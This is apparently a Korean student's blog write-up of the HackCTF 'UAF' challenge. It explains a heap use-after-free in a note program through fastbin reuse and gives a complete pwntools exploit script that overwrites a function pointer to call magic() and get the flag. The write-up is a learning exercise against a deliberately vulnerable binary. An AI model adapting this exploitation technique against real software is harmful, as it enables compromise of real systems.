혜랑's STORY

[HackCTF] UAF 본문

2021 SISS 21기 활동/2학시 시스템

[HackCTF] UAF

hyerang0125 2021. 9. 17. 23:19

🖇checksec

32비트 바이너리 파일이고 Partial RELRO, Canary, NX가 설정되어 있다. 앞에서 학습한 Double Free 취약점을 이용하여 문제를 풀면 될 것 같다.

🖇IDA

IDA를 사용하여 함수 목록을 확인해 보았다.

노트의 내용을 출력하는 함수, 노트를 추가하는 함수, 노트를 지우는 함수와 메인 함수가 있었고, 유용해보이는 magic 함수가 있었다.

magic() 함수 수도코드

역시 flag를 출력하는 함수였다.

del_note() 함수

위 함수는 index를 지정하여 해당 chunck를 free 시킨다. free는 chunk -> nodelist chunck 순서로 free 되고 이때 nodelist[] 안에는 free 해도 주소가 남아있어 악의적으로 사용 가능하다.

🖇Exploit Method

위에서 알게된 del_note()의 취약점을 사용하여  magic() 함수를 호출하는 것이 목표이다. 

add_note() 함수

위 수도코드는 add_note() 함수의 일부분이다. 코드를 살펴보면 노트 하나를 만들 때, 함수포인터를 저장하는 청크와, 데이터를 저장하는 청크 두 개가 할당되는 것을 알 수 있다.

일단 0번 인덱스를 가지는 노트와 1번 인덱스를 가지는 노트를 생성한 뒤 삭제해보자.

실행시킬 메뉴를 입력하는 main+84에 bp를 걸어주었다. 이를 통해 노트를 삭제한 후 바로 heapinfo 명령어를 통해 구조를 살펴볼 수 있다.

그러면 현재 총 4개의 청크가 할당되어 있을 것이다.

함수 포인터 저장
데이터 저장
함수 포인터 저장
데이터 저장

이제 del_note를 호출하면 먼저 데이터가 저장되어 있는 부분이 free되고 함수 포인터가 저장된 부분이 free 된다. 그 후 freed 청크는 fastbin에 들어가는데, 그 구조는 LIFO 구조이므로 나중에 들어온 청크가 먼저 재할당 된다.

인덱스 0 -> 인덱스 1 순서로 free 시켰다.

heapinfo 명령어를 통해 fastbin 구조를 살펴보자.

LIFO 구조이므로 가장 마지막에 free된 인덱스 1의 함수 포인터를 담았던 공간(0x804c020)이 제일 먼저 재할당된다.

32비트에서는 8바이트 단위로 청크가 할당되므로 0x10 크기 이상의 사이즈를 요청하면 저 공간을 사용할 수 없게 된다. 따라서 밑에 추가적인 청크를 top 청크에서 떼어 할당하기 위해 노트 크기를 2배인 16으로 할당하였다.

성공적으로 0x804c020만 떼어내었다. 이는 함수 포인터가 저장되는 청크는 8로 고정되어 있기 때문에 가능한 것이다.

현재 구조는 다음과 같다.

인덱스 0 free
인덱스 0 free
인덱스 1, 2 함수 포인터
인덱스 1 free
인덱스 2 데이터

앞에서 del_note() 함수를 봐서 알겠지만, nodelist[] 안에는 free 해도 주소가 남아있어 다시 사용이 가능하다.

이때 만약 노트 크기가 8인 노트를 다시 생성하면 fastbin에 들어있는 청크를 재할당 할 것이다. fastbin은 LIFO 구조이므로 0x804c030이 함수 포인터를 저장하고 0x804c000이 데이터를 저장하게 된다.

del_note()의 취약점을 고려하여 현재 구조를 생각해보자.

인덱스 0 함수 포인터, 3 데이터 저장 <- 0x42424242
인덱스 0 free
인덱스 1, 2 함수 포인터
인덱스 1, 3 함수 포인터 <- 0x804865b
인덱스 2 데이터 저장

여기서 만약 노트를 출력하는 것으로 인덱스 0을 호출하면 0x42424242 주소를 call 하게 되어 에러가 발생하게 된다.

결론적으로 이 부분을 활용하여 0x42424242 대신 magic() 함수의 주소를 넣으면 함수를 호출할 수 있게 된다.

🖇Exploit

- code

from pwn import *

#context.log_level = 'debug'

p = process("./uaf")
e = ELF("./uaf")

#make index 0
p.sendlineafter(" :","1")
p.sendlineafter(" :","8")
p.sendlineafter(" :","AAAA")

#make index 1
p.sendlineafter(" :","1")
p.sendlineafter(" :","8")
p.sendlineafter(" :","BBBB")

#remove index 0
p.sendlineafter(" :","2")
p.sendlineafter(" :","0")

#remove index 1
p.sendlineafter(" :","2")
p.sendlineafter(" :","1")

#make index 2
p.sendlineafter(" :","1")
p.sendlineafter(" :","16")
p.sendlineafter(" :","CCCC")

#make index 3
p.sendlineafter(" :","1")
p.sendlineafter(" :","8")
p.sendlineafter(" :", p32(e.symbols['magic']))

#call magic()
p.sendlineafter(" :","3")
p.sendlineafter(" :","0")

p.interactive()

다운받은 바이너리로 실행시킨 결과 magic() 함수가 잘 호출되는 것을 볼 수 있었다.

이제 서버에 접속하여 flag를 얻어보자.

p = process("./uaf") - > p = remote("ctf.j0n9hyun.xyz", "3020")

성공이다.